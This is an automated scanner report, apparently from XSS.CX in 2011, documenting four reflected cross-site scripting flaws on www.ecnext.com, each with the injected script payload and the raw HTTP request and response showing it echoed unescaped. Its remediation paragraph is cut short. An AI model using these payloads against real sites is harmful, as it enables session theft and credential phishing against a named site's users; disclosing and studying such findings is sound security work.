CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Fri Apr 01 10:29:01 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler

Loading

1. Cross-site scripting (reflected)

1.1. http://www.ecnext.com/favicon.ico [REST URL parameter 1]

1.2. http://www.ecnext.com/favicon.ico [REST URL parameter 1]

1.3. http://www.ecnext.com/favicon.ico [name of an arbitrarily supplied request parameter]

1.4. http://www.ecnext.com/favicon.ico [name of an arbitrarily supplied request parameter]



1. Cross-site scripting (reflected)
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.ecnext.com/favicon.ico [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ecnext.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8fdc2<script>alert(1)</script>ff86eba2958 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico8fdc2<script>alert(1)</script>ff86eba2958 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.ecnext.com
Accept: */*
Proxy-Connection: Keep-Alive
Expect: <script>alert(1)</script>

Response

HTTP/1.1 403 Access Denied
Server: nginx/0.7.62
Date: Fri, 01 Apr 2011 02:07:27 GMT
Content-Type: text/html; charset=ISO-8859-1
Connection: keep-alive
Set-Cookie: tcc=one; path=/
Content-Length: 2531
X-Varnish: 2352602918
Via: 1.1 varnish
X-Served-By: ecnext42
X-Cache: MISS

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>403 - Access Denied</title>

...[SNIP]...
<br>
Access Denied: http://www.ecnext.com/favicon.ico8fdc2<script>alert(1)</script>ff86eba2958 at Thu Mar 31 22:07:27 2011 from 173.193.214.243<br>
...[SNIP]...

1.2. http://www.ecnext.com/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ecnext.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5b95"><script>alert(1)</script>24b2f05c91a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icoe5b95"><script>alert(1)</script>24b2f05c91a HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.ecnext.com
Accept: */*
Proxy-Connection: Keep-Alive
Expect: <script>alert(1)</script>

Response

HTTP/1.1 403 Access Denied
Server: nginx/0.7.62
Date: Fri, 01 Apr 2011 02:07:26 GMT
Content-Type: text/html; charset=ISO-8859-1
Connection: keep-alive
Set-Cookie: tcc=one; path=/
Content-Length: 2535
X-Varnish: 1284843846
Via: 1.1 varnish
X-Served-By: ecnext43
X-Cache: MISS

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>403 - Access Denied</title>

...[SNIP]...
<a href="mailto:webmaster@ecnext.com?subject=403 error&body=Access Denied: http://www.ecnext.com/favicon.icoe5b95"><script>alert(1)</script>24b2f05c91a at Thu Mar 31 22:07:26 2011 from 173.193.214.243">
...[SNIP]...

1.3. http://www.ecnext.com/favicon.ico [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ecnext.com
Path:   /favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 7f6ab<script>alert(1)</script>3433393dae3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico?7f6ab<script>alert(1)</script>3433393dae3=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.ecnext.com
Accept: */*
Proxy-Connection: Keep-Alive
Expect: <script>alert(1)</script>

Response

HTTP/1.1 403 Access Denied
Server: nginx/0.7.62
Date: Fri, 01 Apr 2011 02:07:17 GMT
Content-Type: text/html; charset=ISO-8859-1
Connection: keep-alive
Set-Cookie: tcc=one; path=/
Content-Length: 2537
X-Varnish: 1284842968
Via: 1.1 varnish
X-Served-By: ecnext43
X-Cache: MISS

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>403 - Access Denied</title>

...[SNIP]...
<br>
Access Denied: http://www.ecnext.com/favicon.ico?7f6ab<script>alert(1)</script>3433393dae3=1 at Thu Mar 31 22:07:17 2011 from 173.193.214.243<br>
...[SNIP]...

1.4. http://www.ecnext.com/favicon.ico [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.ecnext.com
Path:   /favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload adfc2"><script>alert(1)</script>6056a5dcabf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico?adfc2"><script>alert(1)</script>6056a5dcabf=1 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.ecnext.com
Accept: */*
Proxy-Connection: Keep-Alive
Expect: <script>alert(1)</script>

Response

HTTP/1.1 403 Access Denied
Server: nginx/0.7.62
Date: Fri, 01 Apr 2011 02:07:17 GMT
Content-Type: text/html; charset=ISO-8859-1
Connection: keep-alive
Set-Cookie: tcc=one; path=/
Content-Length: 2541
X-Varnish: 2352602067
Via: 1.1 varnish
X-Served-By: ecnext42
X-Cache: MISS

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>403 - Access Denied</title>

...[SNIP]...
<a href="mailto:webmaster@ecnext.com?subject=403 error&body=Access Denied: http://www.ecnext.com/favicon.ico?adfc2"><script>alert(1)</script>6056a5dcabf=1 at Thu Mar 31 22:07:17 2011 from 173.193.214.243">
...[SNIP]...

Report generated by XSS.CX at Fri Apr 01 10:29:01 CDT 2011.